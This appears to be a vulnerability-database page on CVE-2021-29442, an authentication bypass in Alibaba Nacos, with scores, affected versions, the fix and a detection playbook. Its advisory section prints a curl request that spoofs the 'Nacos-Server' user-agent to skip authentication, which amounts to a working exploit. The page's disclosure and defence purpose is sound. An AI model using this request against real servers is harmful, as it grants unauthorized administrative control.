CVE-2021-29442 is a high-severity (CVSS 7.5) Missing Authentication vulnerability in com.alibaba.nacos:nacos-common. 4 public exploit references exist, so weaponization risk is real. A fix is available for com.alibaba.nacos:nacos-common — see the affected versions and patch details below.
Authentication Bypass
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2021-29442 by exploitation likelihood (EPSS) against impact (CVSS). In the shaded patch-first corner (EPSS 50%+, CVSS 7.0+).
Where this sits among everything scored
Of 385,386 CVEs with a current EPSS score, this one falls in the 50–90% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
com.alibaba.nacos:nacos-commonReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
When configured to use authentication (-Dnacos.core.auth.enabled=true) Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the user-agent HTTP header so it can be easily spoofed.
The following request to the configuration endpoint gets rejected as we are not providing any credentials:
❯ curl -X POST "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
{"timestamp":"2020-12-02T14:33:57.154+0000","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/cs/configs"}
However the following one gets accepted by using the Nacos-Server user-agent header:
❯ curl -X POST -A Nacos-Server "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
true
Impact
This issue may allow any user to carry out any administrative tasks on the Nacos server.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | com.alibaba.nacos:nacos-common | all versions | 1.4.1com.alibaba.nacos:nacos-common:1.4.1 |
Affected Products
nacosalibabaResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for com.alibaba.nacos:nacos-common, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update com.alibaba.nacos:nacos-common to 1.4.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2021-29442 is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
How to detect CVE-2021-29442
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id cve-2021-29442 -u https://target- Template
- Nacos <1.4.1 - Authentication Bypass
- Severity
- high
- Impact
- Successful exploitation of this vulnerability can lead to unauthorized access to sensitive data and potential compromise of the Nacos server.
- Remediation
- Upgrade Nacos to version 1.4.1 or later to mitigate the authentication bypass vulnerability (CVE-2021-29442).
Template by ProjectDiscovery nuclei-templates (dwisiswant0), MIT licensed. View the full template. Scan only systems you are authorised to test.
Frequently Asked Questions
Is CVE-2021-29442 in your dependencies?
Find it across Maven, including transitive dependencies.